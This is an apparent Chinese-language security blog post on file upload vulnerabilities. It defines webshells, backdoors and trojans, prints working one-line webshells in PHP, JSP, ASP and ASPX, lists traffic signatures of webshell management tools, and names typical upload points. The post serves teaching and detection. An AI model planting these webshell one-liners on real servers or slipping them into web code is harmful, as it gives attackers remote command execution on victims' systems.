文件上传漏洞

webshell

什么是webshell?

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。 

什么是后门?

后门是一种黑客在系统或软件中故意留下的秘密入口,用于在不被发现的情况下再次访问该系统。后门可能是一个独立的恶意程序,也可能是合法程序中的隐蔽功能。一旦有了后门,黑客可以绕过正常的安全机制(如密码验证)进入系统。

通俗的理解的话,后门就像是一所房子的秘密通道。房主每天通过大门进出,而黑客知道房子有一个隐藏的小门,可以偷偷进出而不被发现。进而在房主出去后肆意进入房内进行破坏

什么是木马?

木马是一种看似合法或无害,实则包含恶意代码的软件或程序。它伪装成正常的软件,诱导用户安装或运行,一旦被激活,木马程序就能在用户的设备上进行各种恶意操作,比如窃取敏感信息、远程控制设备、下载更多恶意软件等。木马又包含了:一句话木马,图片马,大马,小马,脱裤马等等等等

总结一下

  • Webshell:黑客在网站上放的一个秘密入口,用于控制网站。
  • 木马:伪装成好东西的恶意程序,用来欺骗人们安装后进行破坏。
  • 后门:黑客在系统中留下的隐蔽入口,用来绕过安全防护再次访问。

一句话木马

一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用

php一句话木马

<?php @eval($_POST['hack']);?>
  • @ 符号
    这是一个错误抑制符。它告诉 PHP 如果在执行 eval() 函数时发生了错误,不要输出错误信息到浏览器上。这样做是为了隐藏错误,避免暴露给管理员

  • eval() 函数
    eval() 是一个 PHP 内置函数,用于将字符串作为 PHP 代码执行。也就是说,它会将传入的字符串当成代码来运行。在这个例子中,eval() 会执行 $_POST['hack'] 这个变量的内容

  • $_POST['hack']
    $_POST 是一个超全局数组,用来接收通过 HTTP中的POST 方法所传递的数据。$_POST['hack'] 表示接收来自客户端的一个名为 hack 的参数

jsp一句话木马

<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>  

asp一句话木马

<%eval request("hack")%>

aspx一句话木马

<%@ Page Language="Jscript"%><%eval(Request.Item["value"])%>

一句话木马管理工具

🤔这里俺就顺带讲讲流量特征叭😁

蚁剑

蚁剑是我个人常使用的一款webshell连接工具

流量特征:

PHP 类 WebShell流量最中明显的特征为 @ini_set ("display_errors","0");同时会带有base64编码解码等字符特征, **每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头**。并且存在base64等字符,响应包的结果返回格式为 随机数 结果 随机数

哥斯拉

流量特征:

不修改User-Agent,User-Agent会类似于Java/1.8.0_121(具体什么版本取决于JDK环境版本)

在请求包的Cookie中有一个非常致命的特征,最后的分号标准的HTTP请求中最后一个Cookie的值是不应该出现 ;

请求包的特征

  1. “pass=”起始
  2. 请求包较长 响应包为0
  3. 一个tcp包里面有三个http

响应包特征

整个响应包的结构体征为:md5前十六位+base64+md5后十六位

菜刀

流量特征:

默认的webshell中链接密码都是caidao,ua头为百度爬虫、请求体中存在eavl,base64等特征字符响应包中包含X@Y、php的webshel中流量参数z0、z1、z2

冰蝎

流量特征:

冰蝎3.0    

默认内置 16 个 user-agent,content-type为application/octet-stream请求包中content-length 为5740或5720(可能会根据Java版本而改变)每一个请求头中存在Pragma: no-cache,Cache-Control: no-cache

冰蝎2.0

建立连接后 所有请求 Cookie的格式都为: Cookie: PHPSESSID=; path=/;静态分析:各种语言的webshell中都会存在16位数的连接密码,默认变量为key

冰蝎3.11流量特征

  1. header头顺序是颠倒的2、发送包是base64,返回包是字节数组,所以会乱码3、如果冰蝎密码不对,会出现两个连接,第一个是post 第二个是get 
  2. content-type为application/octet-stream ,请求包中content-length 为5740或5720(可能会根据Java版本而改变),每一个请求头中存在Pragma: no-cache,Cache-Control: no-cache2.异常User-Agent---- 出现WOW64等3.频繁访问默认的路径/conn.jsp

什么是文件上传?

       WEB应用程序通常会有文件上传的功能,例如:在登录页面上传头像,投递简历页面上传简历,一些公开的编辑器等。只要WEB应用程序允许上传文件,就有可能存在文件上传漏洞。在不对被上传的文件进行限制或者限制被绕过,该功能便有可能被利用于上传可执行文件、脚本到服务器上,从而进一步导致服务器沦陷。(简单理解就是,存在上传的地方就有可能存在这个漏洞)

任意文件上传漏洞主要是由于程序员在开发文件上传功能时,没有考虑对文件格式后缀的合法性进行校验或只考虑在应用前端(Web 浏览器端)通过 javascript 进行后缀校验,攻击者可上传一个包含恶意代码的动态脚本(如 jsp、asp、php、aspx 文件后缀)到服务器上,攻击者访问该脚本时服务器将对包含恶意代码的动态脚本解析,最终执行相应的恶意代码。该漏洞最终将可能直接影响应用系统的服务器安全,攻击者可通过所上传的脚本完全控制服务器。

文件上传的上传点

页面前台

暴漏在外的编辑器

已知的CMS文件上传漏洞

头像、简历上传点

后台

编辑页面

文章发布

其他上传功能点

posted @   郑不胖  阅读(100)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
点击右上角即可分享
微信分享提示